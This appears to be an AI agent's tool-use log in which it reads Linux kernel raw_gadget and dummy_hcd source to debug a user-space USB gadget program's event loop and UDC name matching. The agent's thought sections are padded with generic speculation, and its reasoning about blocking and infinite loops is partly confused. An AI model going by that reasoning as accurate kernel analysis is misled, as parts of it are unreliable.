So, my immediate inclination here is to dive into `raw_queue_event`. I'm not going to just glance at it; I need to get a solid understanding of its structure, its expected content, and its potential implications. This isn't about a superficial review; it's about a deep, analytical probe. I'm thinking about what data types it's likely to hold, what the keys might represent, and importantly, what kind of schema it adheres to, or perhaps, where the schema might be implicit rather than explicit.
I'm also considering the context in which `raw_queue_event` appears. Is it an input to a process? An output? A transient state? Each of these scenarios carries different weight and demands a different level of scrutiny. If it's input, I need to validate it rigorously against all anticipated variations and edge cases. If it's output, I need to ensure it accurately reflects the intended state or transformation.
Furthermore, I'm anticipating potential issues. Are there common pitfalls associated with this type of data structure in our domain? Could there be serialization/deserialization problems? Are there security considerations I need to be mindful of, especially if this event contains sensitive information? I'm not just looking at what *is*, but what *could be*. This is about anticipating problems before they manifest, identifying potential performance bottlenecks, and ensuring robustness. It's about a comprehensive assessment, not just a quick look-see.
|
| 164/5 |
2026/09/11 22:41 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/legacy/raw_gadget.c Name:raw_queue_event]
Results: map[SourceCode: 234: static int raw_queue_event(struct raw_dev *dev,
235: enum usb_raw_event_type type, size_t length, const void *data)
236: {
237: int ret = 0;
238: unsigned long flags;
239:
240: ret = raw_event_queue_add(&dev->queue, type, length, data);
241: if (ret < 0) {
242: spin_lock_irqsave(&dev->lock, flags);
243: dev->state = STATE_DEV_FAILED;
244: spin_unlock_irqrestore(&dev->lock, flags);
245: }
246: return ret;
247: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 165/5 |
2026/09/11 22:41 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 13420
output: 46
thoughts: 39
Thoughts: **My Internal Monologue on Potential Failures of `raw_event_queue_add` and Subsequent Device State Transitions**
Alright, let's break this down. My primary concern here is that if `raw_event_queue_add` encounters an issue, it immediately flags the `dev` as being in a `STATE_DEV_FAILED` state. This is a pretty definitive, end-of-the-line status for the device, so I need to understand the *why* behind such a failure. What are the potential root causes that could lead `raw_event_queue_add` to return an error, thus triggering this harsh state change?
I'm considering a few categories of failure. First, resource exhaustion is always a prime suspect. Could it be that the underlying event queue itself is full? Perhaps there's a hard limit on the number of events that can be buffered, and we've hit that ceiling. This might happen under heavy load or if there's a bottleneck elsewhere in the system preventing events from being processed and dequeued promptly.
Second, I'm thinking about memory allocation. `raw_event_queue_add` likely needs to allocate memory to store the event data. If the system is under severe memory pressure, this allocation could fail. This would then cascade into a failure of `raw_event_queue_add` itself. I need to ascertain if the failure mode for memory allocation issues within the queue implementation is indeed a direct failure of this `add` function, or if it manifests differently.
Third, I'm looking at the integrity of the queue's internal data structures. Are there potential race conditions or concurrency issues that could corrupt the queue's state, leading to an inability to add a new event? If multiple threads or processes are interacting with the event queue without proper synchronization, this could absolutely lead to a corrupted state where additions are impossible. The `add` function might be detecting this corruption and failing gracefully, or perhaps it's a more insidious failure where the corruption itself causes the `add` to fail.
Fourth, I need to consider external dependencies. Is `raw_event_queue_add` relying on any other system components or services that might be unavailable or misbehaving? For instance, if the event queue is backed by a shared memory segment or a specific kernel subsystem, an issue with that underlying resource could directly impact the `add` operation.
Finally, I'm contemplating the specific nature of the "raw event" itself. Is it possible that the data being passed to `raw_event_queue_add` is malformed or invalid in a way that the function is designed to reject? This would be a validation failure within the `add` function itself, rather than a system-level resource problem.
Ultimately, the transition to `STATE_DEV_FAILED` is a significant consequence. My goal is to map out all plausible scenarios that could lead to `raw_event_queue_add` failing, so that I can implement robust error handling, diagnostic capabilities, and potentially preventive measures to avoid such a critical failure state. I need to know if `STATE_DEV_FAILED` is a last resort for unrecoverable problems, or if there are recovery mechanisms that should be explored *before* reaching this point.
|
| 166/5 |
2026/09/11 22:42 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/legacy/raw_gadget.c Name:raw_event_queue_add]
Results: map[SourceCode: 62: static int raw_event_queue_add(struct raw_event_queue *queue,
63: enum usb_raw_event_type type, size_t length, const void *data)
64: {
65: unsigned long flags;
66: struct usb_raw_event *event;
67:
68: spin_lock_irqsave(&queue->lock, flags);
69: if (queue->size >= RAW_EVENT_QUEUE_SIZE) {
70: spin_unlock_irqrestore(&queue->lock, flags);
71: return -ENOMEM;
72: }
73: event = kmalloc(sizeof(*event) + length, GFP_ATOMIC);
74: if (!event) {
75: spin_unlock_irqrestore(&queue->lock, flags);
76: return -ENOMEM;
77: }
78: event->type = type;
79: event->length = length;
80: if (event->length)
81: memcpy(&event->data[0], data, length);
82: queue->events[queue->size] = event;
83: queue->size++;
84: up(&queue->sema);
85: spin_unlock_irqrestore(&queue->lock, flags);
86: return 0;
87: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 167/5 |
2026/09/11 22:42 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 13895
output: 46
thoughts: 381
Thoughts: **My Thought Process Unraveling a Potential Infinite Loop and State Management Issue**
Okay, I've just had a bit of a realization about a potential problem in the code. I'm looking at this `RAW_EVENT_QUEUE_SIZE` and it struck me – it's probably quite small. What happens if the host is really hammering us with requests, and I'm not pulling them off the queue fast enough? Well, the queue is going to fill up. And when that happens, `raw_event_queue_add` will return `-ENOMEM`, which then sets `dev->state` to `STATE_DEV_FAILED`.
Now, here's where it gets concerning. I was looking at my previous loop structure:
```c
while (1) {
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0)
continue;
```
The issue is this `continue`. If `USB_RAW_IOCTL_EVENT_FETCH` returns a negative value, I'm just going to loop back and try again. But if that negative return value is `-EINVAL` specifically because `dev->state` has been set to `STATE_DEV_FAILED`, I'm going to get stuck in an infinite loop. That's a bad situation.
So, the next question that pops into my head is: how *could* `dev->state` have gotten to `STATE_DEV_FAILED` in the first place?
My first thought goes to `USB_RAW_IOCTL_RUN`. Did *that* fail? I'll check how I'm handling its return:
```c
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
```
Looking at this, if `USB_RAW_IOCTL_RUN` failed, I would have exited the program immediately. So, it must have succeeded.
This leads me back to the `-EINVAL` from `EVENT_FETCH`. If `RUN` succeeded, and the state isn't necessarily `STATE_DEV_FAILED` yet, what else could cause that?
Ah, wait a minute. When `dev->state` *is* `STATE_DEV_RUNNING`, `EVENT_FETCH` is designed to *block* until an event is actually available. I hadn't fully considered that blocking behavior.
So, the core problem is: if the queue *does* fill up and `dev->state` becomes `STATE_DEV_FAILED`, my current `continue` logic will repeatedly call `EVENT_FETCH`, which, if it's in a blocked state (or returning `-EINVAL` due to the failure), will lead to that infinite loop. I need to explicitly handle the `STATE_DEV_FAILED` case and break out of that loop, rather than just `continue`.
|
| 168/5 |
2026/09/11 22:42 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/legacy/raw_gadget.c Name:raw_event_queue_fetch]
Results: map[SourceCode: 89: static struct usb_raw_event *raw_event_queue_fetch(
90: struct raw_event_queue *queue)
91: {
92: int ret;
93: unsigned long flags;
94: struct usb_raw_event *event;
95:
96: /*
97: * This function can be called concurrently. We first check that
98: * there's at least one event queued by decrementing the semaphore,
99: * and then take the lock to protect queue struct fields.
100: */
101: ret = down_interruptible(&queue->sema);
102: if (ret)
103: return ERR_PTR(ret);
104: spin_lock_irqsave(&queue->lock, flags);
105: /*
106: * queue->size must have the same value as queue->sema counter (before
107: * the down_interruptible() call above), so this check is a fail-safe.
108: */
109: if (WARN_ON(!queue->size)) {
110: spin_unlock_irqrestore(&queue->lock, flags);
111: return ERR_PTR(-ENODEV);
112: }
113: event = queue->events[0];
114: queue->size--;
115: memmove(&queue->events[0], &queue->events[1],
116: queue->size * sizeof(queue->events[0]));
117: spin_unlock_irqrestore(&queue->lock, flags);
118: return event;
119: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 169/5 |
2026/09/11 22:42 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 14795
output: 43
thoughts: 110
Thoughts: **My Thought Process Regarding `down_interruptible` and Event Handling**
Okay, I understand that `down_interruptible` is a blocking operation. My immediate concern, however, stems from a specific scenario: what happens when `EVENT_FETCH` returns `-EINVAL`? My internal logic dictates that this error code signifies that `dev->state` is *not* currently `STATE_DEV_RUNNING`. This leads me to question the circumstances under which `dev->state` would transition *away* from `STATE_DEV_RUNNING`.
I've identified a few potential triggers for this state change:
1. The `raw_queue_event` function might fail, specifically if the event queue becomes full.
2. The `raw_process_ep0_io` function could encounter an error and fail.
3. It's also possible that a failure during `gadget_bind` could lead to this state.
To clarify this uncertainty, my next step is to investigate the `gadget_bind` function itself. I need to understand its behavior and how it might impact the `dev->state`.
|
| 170/5 |
2026/09/11 22:42 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/legacy/raw_gadget.c Name:gadget_bind]
Results: map[SourceCode: 281: static int gadget_bind(struct usb_gadget *gadget,
282: struct usb_gadget_driver *driver)
283: {
284: int ret = 0, i = 0;
285: struct raw_dev *dev = container_of(driver, struct raw_dev, driver);
286: struct usb_request *req;
287: struct usb_ep *ep;
288: unsigned long flags;
289:
290: if (strcmp(gadget->name, dev->udc_name) != 0)
291: return -ENODEV;
292:
293: set_gadget_data(gadget, dev);
294: req = usb_ep_alloc_request(gadget->ep0, GFP_KERNEL);
295: if (!req) {
296: dev_err(&gadget->dev, "usb_ep_alloc_request failed\n");
297: set_gadget_data(gadget, NULL);
298: return -ENOMEM;
299: }
300:
301: spin_lock_irqsave(&dev->lock, flags);
302: dev->req = req;
303: dev->req->context = dev;
304: dev->req->complete = gadget_ep0_complete;
305: dev->gadget = gadget;
306: gadget_for_each_ep(ep, dev->gadget) {
307: dev->eps[i].ep = ep;
308: dev->eps[i].addr = get_ep_addr(ep->name);
309: dev->eps[i].state = STATE_EP_DISABLED;
310: i++;
311: }
312: dev->eps_num = i;
313: spin_unlock_irqrestore(&dev->lock, flags);
314:
315: dev_dbg(&gadget->dev, "gadget connected\n");
316: ret = raw_queue_event(dev, USB_RAW_EVENT_CONNECT, 0, NULL);
317: if (ret < 0) {
318: dev_err(&gadget->dev, "failed to queue connect event\n");
319: set_gadget_data(gadget, NULL);
320: return ret;
321: }
322:
323: /* Matches kref_put() in gadget_unbind(). */
324: kref_get(&dev->count);
325: return ret;
326: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 171/5 |
2026/09/11 22:42 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 15705
output: 44
thoughts: 64
Thoughts: **My Thought Process Regarding `gadget_bind` and `dev->udc_name`**
As I'm digging into the `gadget_bind` function, a specific line immediately catches my eye: `if (strcmp(gadget->name, dev->udc_name) != 0) return -ENODEV;`. This conditional check implies a crucial dependency – that the `gadget`'s name must precisely match what's stored in `dev->udc_name` for the binding operation to proceed successfully. If they don't align, we immediately bail out with an `-ENODEV` error, indicating that the device (or rather, the gadget in this context) isn't recognized or properly configured.
This naturally leads me to question: what exactly *is* `dev->udc_name`? Where does this value originate from? The name itself, `udc_name`, strongly suggests it's the identifier for a USB Device Controller (UDC). In the context of gadget mode, this would be the name of the UDC hardware or driver that the user-space application intends to use.
The provided context then points me to `USB_RAW_IOCTL_INIT`. This is the key. My assumption, based on the preceding `gadget_bind` check and the name `USB_RAW_IOCTL_INIT`, is that this ioctl call is the definitive point where `dev->udc_name` gets populated. It's highly probable that when the `USB_RAW_IOCTL_INIT` ioctl is invoked, it's responsible for taking a user-provided UDC name (perhaps as part of the ioctl arguments or configuration) and assigning it to the `dev->udc_name` field. This initialization step is therefore critical for ensuring that subsequent operations, like `gadget_bind`, can correctly identify and target the intended USB gadget functionality. Without this initial setup, `dev->udc_name` would likely be uninitialized or hold an incorrect value, leading to the `-ENODEV` error I observed.
|
| 172/5 |
2026/09/11 22:42 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/legacy/raw_gadget.c Name:raw_ioctl_init]
Results: map[SourceCode: 480: static int raw_ioctl_init(struct raw_dev *dev, unsigned long value)
481: {
482: int ret = 0;
483: int driver_id_number;
484: struct usb_raw_init arg;
485: char *udc_driver_name;
486: char *udc_device_name;
487: char *driver_driver_name;
488: unsigned long flags;
489:
490: if (copy_from_user(&arg, (void __user *)value, sizeof(arg)))
491: return -EFAULT;
492:
493: switch (arg.speed) {
494: case USB_SPEED_UNKNOWN:
495: arg.speed = USB_SPEED_HIGH;
496: break;
497: case USB_SPEED_LOW:
498: case USB_SPEED_FULL:
499: case USB_SPEED_HIGH:
500: case USB_SPEED_SUPER:
501: break;
502: default:
503: return -EINVAL;
504: }
505:
506: driver_id_number = ida_alloc(&driver_id_numbers, GFP_KERNEL);
507: if (driver_id_number < 0)
508: return driver_id_number;
509:
510: driver_driver_name = kmalloc(DRIVER_DRIVER_NAME_LENGTH_MAX, GFP_KERNEL);
511: if (!driver_driver_name) {
512: ret = -ENOMEM;
513: goto out_free_driver_id_number;
514: }
515: snprintf(driver_driver_name, DRIVER_DRIVER_NAME_LENGTH_MAX,
516: DRIVER_NAME ".%d", driver_id_number);
517:
518: udc_driver_name = kmalloc(UDC_NAME_LENGTH_MAX, GFP_KERNEL);
519: if (!udc_driver_name) {
520: ret = -ENOMEM;
521: goto out_free_driver_driver_name;
522: }
523: ret = strscpy(udc_driver_name, &arg.driver_name[0],
524: UDC_NAME_LENGTH_MAX);
525: if (ret < 0)
526: goto out_free_udc_driver_name;
527: ret = 0;
528:
529: udc_device_name = kmalloc(UDC_NAME_LENGTH_MAX, GFP_KERNEL);
530: if (!udc_device_name) {
531: ret = -ENOMEM;
532: goto out_free_udc_driver_name;
533: }
534: ret = strscpy(udc_device_name, &arg.device_name[0],
535: UDC_NAME_LENGTH_MAX);
536: if (ret < 0)
537: goto out_free_udc_device_name;
538: ret = 0;
539:
540: spin_lock_irqsave(&dev->lock, flags);
541: if (dev->state != STATE_DEV_OPENED) {
542: dev_dbg(dev->dev, "fail, device is not opened\n");
543: ret = -EINVAL;
544: goto out_unlock;
545: }
546: dev->udc_name = udc_driver_name;
547:
548: dev->driver.function = DRIVER_DESC;
549: dev->driver.max_speed = arg.speed;
550: dev->driver.setup = gadget_setup;
551: dev->driver.disconnect = gadget_disconnect;
552: dev->driver.bind = gadget_bind;
553: dev->driver.unbind = gadget_unbind;
554: dev->driver.suspend = gadget_suspend;
555: dev->driver.resume = gadget_resume;
556: dev->driver.reset = gadget_reset;
557: dev->driver.driver.name = driver_driver_name;
558: dev->driver.udc_name = udc_device_name;
559: dev->driver.match_existing_only = 1;
560: dev->driver_id_number = driver_id_number;
561:
562: dev->state = STATE_DEV_INITIALIZED;
563: spin_unlock_irqrestore(&dev->lock, flags);
564: return ret;
565:
566: out_unlock:
567: spin_unlock_irqrestore(&dev->lock, flags);
568: out_free_udc_device_name:
569: kfree(udc_device_name);
570: out_free_udc_driver_name:
571: kfree(udc_driver_name);
572: out_free_driver_driver_name:
573: kfree(driver_driver_name);
574: out_free_driver_id_number:
575: ida_free(&driver_id_numbers, driver_id_number);
576: return ret;
577: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 173/5 |
2026/09/11 22:42 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 17376
output: 20
thoughts: 205
Thoughts: **My Thought Process Regarding UDC Binding**
Okay, let me trace this through. I'm looking at how the UDC (USB Device Controller) is being initialized and bound, and a particular detail caught my eye. I see that `dev->udc_name` is being assigned the value of `arg.driver_name`. This immediately made me pause and consider my previous initialization setup.
In my prior code snippet, I had defined a `struct usb_raw_init` like this:
```c
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
```
My first thought was, "Is `dummy_udc` actually the correct name for the driver here?" I quickly confirmed that, yes, `dummy_udc` is indeed the standard, expected driver name for this dummy UDC implementation. So, the driver name itself seems correct.
However, my attention then shifted to the `gadget_bind` function. I know it performs a comparison using `strcmp(gadget->name, dev->udc_name)`. This is where the potential issue arises. If `dev->udc_name` is now set to `"dummy_udc"` (because `arg.driver_name` is `"dummy_udc"`), and if `gadget->name` were to be `"dummy_udc.0"`, then `strcmp` would correctly return a non-zero value, indicating a mismatch.
This led me to question: "Wait, `gadget->name`... is that *supposed* to be the device name, not the driver name?" My understanding, based on typical UDC and gadget framework conventions, is that `gadget->name` usually corresponds to the *device* name (e.g., the specific instance of the UDC), rather than the general driver name. So, I need to verify precisely what `gadget->name` is set to in the context of the `dummy_udc` driver. This is the crucial piece of information I need to resolve this potential mismatch.
|
| 174/5 |
2026/09/11 22:42 |
tool |
grepper |
0m
Args: map[Expression:gadget\.name = ]
Results: map[Output:drivers/usb/cdns3/cdns3-gadget.c=3297=static int cdns3_gadget_start(struct cdns *cdns)
--
drivers/usb/cdns3/cdns3-gadget.c-3347- priv_dev->gadget.ops = &cdns3_gadget_ops;
drivers/usb/cdns3/cdns3-gadget.c:3348: priv_dev->gadget.name = "usb-ss-gadget";
drivers/usb/cdns3/cdns3-gadget.c-3349- priv_dev->gadget.quirk_avoids_skb_reserve = 1;
--
drivers/usb/cdns3/cdnsp-gadget.c=1994=static int __cdnsp_gadget_init(struct cdns *cdns)
--
drivers/usb/cdns3/cdnsp-gadget.c-2028- pdev->gadget.ops = &cdnsp_gadget_ops;
drivers/usb/cdns3/cdnsp-gadget.c:2029: pdev->gadget.name = "cdnsp-gadget";
drivers/usb/cdns3/cdnsp-gadget.c-2030- pdev->gadget.speed = USB_SPEED_UNKNOWN;
--
drivers/usb/dwc2/gadget.c=4996=int dwc2_gadget_init(struct dwc2_hsotg *hsotg)
--
drivers/usb/dwc2/gadget.c-5019- hsotg->gadget.ops = &dwc2_hsotg_gadget_ops;
drivers/usb/dwc2/gadget.c:5020: hsotg->gadget.name = dev_name(dev);
drivers/usb/dwc2/gadget.c-5021- hsotg->gadget.otg_caps = &hsotg->params.otg_caps;
--
drivers/usb/fotg210/fotg210-udc.c=1173=int fotg210_udc_probe(struct platform_device *pdev, struct fotg210 *fotg)
--
drivers/usb/fotg210/fotg210-udc.c-1225- fotg210->gadget.dev.dma_mask = dev->dma_mask;
drivers/usb/fotg210/fotg210-udc.c:1226: fotg210->gadget.name = udc_name;
drivers/usb/fotg210/fotg210-udc.c-1227-
--
drivers/usb/gadget/udc/aspeed-vhub/dev.c=542=int ast_vhub_init_dev(struct ast_vhub *vhub, unsigned int idx)
--
drivers/usb/gadget/udc/aspeed-vhub/dev.c-588- d->gadget.ep0 = &d->ep0.ep;
drivers/usb/gadget/udc/aspeed-vhub/dev.c:589: d->gadget.name = KBUILD_MODNAME;
drivers/usb/gadget/udc/aspeed-vhub/dev.c-590- if (vhub->force_usb1)
--
drivers/usb/gadget/udc/aspeed_udc.c=1479=static int ast_udc_probe(struct platform_device *pdev)
--
drivers/usb/gadget/udc/aspeed_udc.c-1495- udc->gadget.ep0 = &udc->ep[0].ep;
drivers/usb/gadget/udc/aspeed_udc.c:1496: udc->gadget.name = "aspeed-udc";
drivers/usb/gadget/udc/aspeed_udc.c-1497- udc->gadget.dev.init_name = "gadget";
--
drivers/usb/gadget/udc/at91_udc.c=1810=static int at91udc_probe(struct platform_device *pdev)
--
drivers/usb/gadget/udc/at91_udc.c-1830- udc->gadget.ep0 = &udc->ep[0].ep;
drivers/usb/gadget/udc/at91_udc.c:1831: udc->gadget.name = driver_name;
drivers/usb/gadget/udc/at91_udc.c-1832- udc->gadget.dev.init_name = "gadget";
--
drivers/usb/gadget/udc/bcm63xx_udc.c=2270=static int bcm63xx_udc_probe(struct platform_device *pdev)
--
drivers/usb/gadget/udc/bcm63xx_udc.c-2301- udc->gadget.ops = &bcm63xx_udc_ops;
drivers/usb/gadget/udc/bcm63xx_udc.c:2302: udc->gadget.name = dev_name(dev);
drivers/usb/gadget/udc/bcm63xx_udc.c-2303-
--
drivers/usb/gadget/udc/bdc/bdc_udc.c=518=int bdc_udc_init(struct bdc *bdc)
--
drivers/usb/gadget/udc/bdc/bdc_udc.c-531-
drivers/usb/gadget/udc/bdc/bdc_udc.c:532: bdc->gadget.name = BRCM_BDC_NAME;
drivers/usb/gadget/udc/bdc/bdc_udc.c-533- ret = request_irq(bdc->irq, bdc_udc_interrupt, IRQF_SHARED,
--
drivers/usb/gadget/udc/cdns2/cdns2-gadget.c=2251=static int cdns2_gadget_start(struct cdns2_device *pdev)
--
drivers/usb/gadget/udc/cdns2/cdns2-gadget.c-2310- pdev->gadget.ops = &cdns2_gadget_ops;
drivers/usb/gadget/udc/cdns2/cdns2-gadget.c:2311: pdev->gadget.name = "usbhs-gadget";
drivers/usb/gadget/udc/cdns2/cdns2-gadget.c-2312- pdev->gadget.quirk_avoids_skb_reserve = 1;
--
drivers/usb/gadget/udc/dummy_hcd.c=1101=static int dummy_udc_probe(struct platform_device *pdev)
--
drivers/usb/gadget/udc/dummy_hcd.c-1108- memzero_explicit(&dum->gadget, sizeof(struct usb_gadget));
drivers/usb/gadget/udc/dummy_hcd.c:1109: dum->gadget.name = gadget_name;
drivers/usb/gadget/udc/dummy_hcd.c-1110- dum->gadget.ops = &dummy_ops;
--
drivers/usb/gadget/udc/fsl_qe_udc.c=2476=static int qe_udc_probe(struct platform_device *ofdev)
--
drivers/usb/gadget/udc/fsl_qe_udc.c-2519- /* name: Identifies the controller hardware type. */
drivers/usb/gadget/udc/fsl_qe_udc.c:2520: udc->gadget.name = driver_name;
drivers/usb/gadget/udc/fsl_qe_udc.c-2521- udc->gadget.dev.parent = &ofdev->dev;
--
drivers/usb/gadget/udc/fsl_udc_core.c=2355=static int fsl_udc_probe(struct platform_device *pdev)
--
drivers/usb/gadget/udc/fsl_udc_core.c-2465- udc_controller->gadget.speed = USB_SPEED_UNKNOWN;
drivers/usb/gadget/udc/fsl_udc_core.c:2466: udc_controller->gadget.name = driver_name;
drivers/usb/gadget/udc/fsl_udc_core.c-2467-
--
drivers/usb/gadget/udc/goku_udc.c=1745=static int goku_probe(struct pci_dev *pdev, const struct pci_device_id *id)
--
drivers/usb/gadget/udc/goku_udc.c-1771- /* the "gadget" abstracts/virtualizes the controller */
drivers/usb/gadget/udc/goku_udc.c:1772: dev->gadget.name = driver_name;
drivers/usb/gadget/udc/goku_udc.c-1773-
--
drivers/usb/gadget/udc/gr_udc.c=2123=static int gr_probe(struct platform_device *pdev)
--
drivers/usb/gadget/udc/gr_udc.c-2152-
drivers/usb/gadget/udc/gr_udc.c:2153: dev->gadget.name = driver_name;
drivers/usb/gadget/udc/gr_udc.c-2154- dev->gadget.max_speed = USB_SPEED_HIGH;
--
drivers/usb/gadget/udc/m66592-udc.c=1536=static int m66592_probe(struct platform_device *pdev)
--
drivers/usb/gadget/udc/m66592-udc.c-1587- m66592->gadget.max_speed = USB_SPEED_HIGH;
drivers/usb/gadget/udc/m66592-udc.c:1588: m66592->gadget.name = udc_name;
drivers/usb/gadget/udc/m66592-udc.c-1589-
--
drivers/usb/gadget/udc/max3420_udc.c=1198=static int max3420_probe(struct spi_device *spi)
--
drivers/usb/gadget/udc/max3420_udc.c-1230- udc->gadget.ep0 = &udc->ep[0].ep_usb;
drivers/usb/gadget/udc/max3420_udc.c:1231: udc->gadget.name = driver_name;
drivers/usb/gadget/udc/max3420_udc.c-1232-
--
drivers/usb/gadget/udc/net2280.c=3620=static int net2280_probe(struct pci_dev *pdev, const struct pci_device_id *id)
--
drivers/usb/gadget/udc/net2280.c-3643- /* the "gadget" abstracts/virtualizes the controller */
drivers/usb/gadget/udc/net2280.c:3644: dev->gadget.name = driver_name;
drivers/usb/gadget/udc/net2280.c-3645-
--
drivers/usb/gadget/udc/omap_udc.c=2611=omap_udc_setup(struct platform_device *odev, struct usb_phy *xceiv)
--
drivers/usb/gadget/udc/omap_udc.c-2637- udc->gadget.max_speed = USB_SPEED_FULL;
drivers/usb/gadget/udc/omap_udc.c:2638: udc->gadget.name = driver_name;
drivers/usb/gadget/udc/omap_udc.c-2639- udc->gadget.quirk_ep_out_aligned_size = 1;
--
drivers/usb/gadget/udc/pch_udc.c=3037=static int pch_udc_probe(struct pci_dev *pdev, const struct pci_device_id *id)
--
drivers/usb/gadget/udc/pch_udc.c-3096-
drivers/usb/gadget/udc/pch_udc.c:3097: dev->gadget.name = KBUILD_MODNAME;
drivers/usb/gadget/udc/pch_udc.c-3098- dev->gadget.max_speed = USB_SPEED_HIGH;
--
drivers/usb/gadget/udc/r8a66597-udc.c=1833=static int r8a66597_probe(struct platform_device *pdev)
--
drivers/usb/gadget/udc/r8a66597-udc.c-1871- r8a66597->gadget.max_speed = USB_SPEED_HIGH;
drivers/usb/gadget/udc/r8a66597-udc.c:1872: r8a66597->gadget.name = udc_name;
drivers/usb/gadget/udc/r8a66597-udc.c-1873-
--
drivers/usb/gadget/udc/renesas_usb3.c=2840=static int renesas_usb3_probe(struct platform_device *pdev)
--
drivers/usb/gadget/udc/renesas_usb3.c-2865- usb3->gadget.ops = &renesas_usb3_gadget_ops;
drivers/usb/gadget/udc/renesas_usb3.c:2866: usb3->gadget.name = udc_name;
drivers/usb/gadget/udc/renesas_usb3.c-2867- usb3->gadget.max_speed = USB_SPEED_SUPER;
--
drivers/usb/gadget/udc/renesas_usbf.c=3243=static int usbf_probe(struct platform_device *pdev)
--
drivers/usb/gadget/udc/renesas_usbf.c-3283-
drivers/usb/gadget/udc/renesas_usbf.c:3284: udc->gadget.name = dev->driver->name;
drivers/usb/gadget/udc/renesas_usbf.c-3285- udc->gadget.dev.parent = dev;
--
drivers/usb/gadget/udc/snps_udc_core.c=3127=int udc_probe(struct udc *dev)
--
drivers/usb/gadget/udc/snps_udc_core.c-3135-
drivers/usb/gadget/udc/snps_udc_core.c:3136: dev->gadget.name = name;
drivers/usb/gadget/udc/snps_udc_core.c-3137- dev->gadget.max_speed = USB_SPEED_HIGH;
--
drivers/usb/gadget/udc/tegra-xudc.c=3766=static int tegra_xudc_probe(struct platform_device *pdev)
--
drivers/usb/gadget/udc/tegra-xudc.c-3882- xudc->gadget.ep0 = &xudc->ep[0].usb_ep;
drivers/usb/gadget/udc/tegra-xudc.c:3883: xudc->gadget.name = "tegra-xudc";
drivers/usb/gadget/udc/tegra-xudc.c-3884- xudc->gadget.max_speed = USB_SPEED_SUPER;
--
drivers/usb/gadget/udc/udc-xilinx.c=2060=static int xudc_probe(struct platform_device *pdev)
--
drivers/usb/gadget/udc/udc-xilinx.c-2107- udc->gadget.ep0 = &udc->ep[XUSB_EP_NUMBER_ZERO].ep_usb;
drivers/usb/gadget/udc/udc-xilinx.c:2108: udc->gadget.name = driver_name;
drivers/usb/gadget/udc/udc-xilinx.c-2109-
--
drivers/usb/isp1760/isp1760-udc.c=1536=int isp1760_udc_register(struct isp1760_device *isp, int irq,
--
drivers/usb/isp1760/isp1760-udc.c-1570- udc->gadget.max_speed = USB_SPEED_HIGH;
drivers/usb/isp1760/isp1760-udc.c:1571: udc->gadget.name = "isp1761_udc";
drivers/usb/isp1760/isp1760-udc.c-1572-
--
drivers/usb/usbip/vudc_dev.c=594=int vudc_probe(struct platform_device *pdev)
--
drivers/usb/usbip/vudc_dev.c-602-
drivers/usb/usbip/vudc_dev.c:603: udc->gadget.name = GADGET_NAME;
drivers/usb/usbip/vudc_dev.c-604- udc->gadget.ops = &vgadget_ops;
]
|
| 175/5 |
2026/09/11 22:43 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 22225
output: 40
thoughts: 44
Thoughts: **My Thought Process for Understanding `dummy_hcd.c`'s `gadget_name` Assignment**
Right, so I'm looking at this `dummy_hcd.c` file, and my immediate focus is on this line: `dum->gadget.name = gadget_name;`. My instinct, as someone deeply familiar with these kinds of interfaces and device structures, is to immediately trace the origin and nature of this `gadget_name`. It's a common pattern – assigning a descriptive string to a device or interface object.
My next step, therefore, is to delve into where `gadget_name` itself is defined and populated *within* `dummy_hcd.c`. I need to understand its scope, how it's initialized, and what value it's intended to hold. Is it a static string? Is it dynamically generated based on some configuration? Is it passed in from an external source? The specific content of `gadget_name` will tell me a lot about the intended purpose and identity of this "dummy" HCD (Host Controller Driver). This is crucial because understanding the `name` field is often a key to understanding the device's role and how it's meant to be identified or interacted with by the broader system.
|
| 176/5 |
2026/09/11 22:43 |
tool |
grepper |
0m
Args: map[Expression:gadget_name PathPrefix:drivers/usb/gadget/udc/dummy_hcd.c]
Results: map[Output:drivers/usb/gadget/udc/dummy_hcd.c=57=static const char driver_desc[] = "USB Host+Gadget Emulator";
drivers/usb/gadget/udc/dummy_hcd.c-58-
drivers/usb/gadget/udc/dummy_hcd.c:59:static const char gadget_name[] = "dummy_udc";
drivers/usb/gadget/udc/dummy_hcd.c-60-
--
drivers/usb/gadget/udc/dummy_hcd.c=1101=static int dummy_udc_probe(struct platform_device *pdev)
--
drivers/usb/gadget/udc/dummy_hcd.c-1108- memzero_explicit(&dum->gadget, sizeof(struct usb_gadget));
drivers/usb/gadget/udc/dummy_hcd.c:1109: dum->gadget.name = gadget_name;
drivers/usb/gadget/udc/dummy_hcd.c-1110- dum->gadget.ops = &dummy_ops;
--
drivers/usb/gadget/udc/dummy_hcd.c=1176=static struct platform_driver dummy_udc_driver = {
--
drivers/usb/gadget/udc/dummy_hcd.c-1181- .driver = {
drivers/usb/gadget/udc/dummy_hcd.c:1182: .name = gadget_name,
drivers/usb/gadget/udc/dummy_hcd.c-1183- },
--
drivers/usb/gadget/udc/dummy_hcd.c=2813=static int __init dummy_hcd_init(void)
--
drivers/usb/gadget/udc/dummy_hcd.c-2840- for (i = 0; i < mod_data.num; i++) {
drivers/usb/gadget/udc/dummy_hcd.c:2841: the_udc_pdev[i] = platform_device_alloc(gadget_name, i);
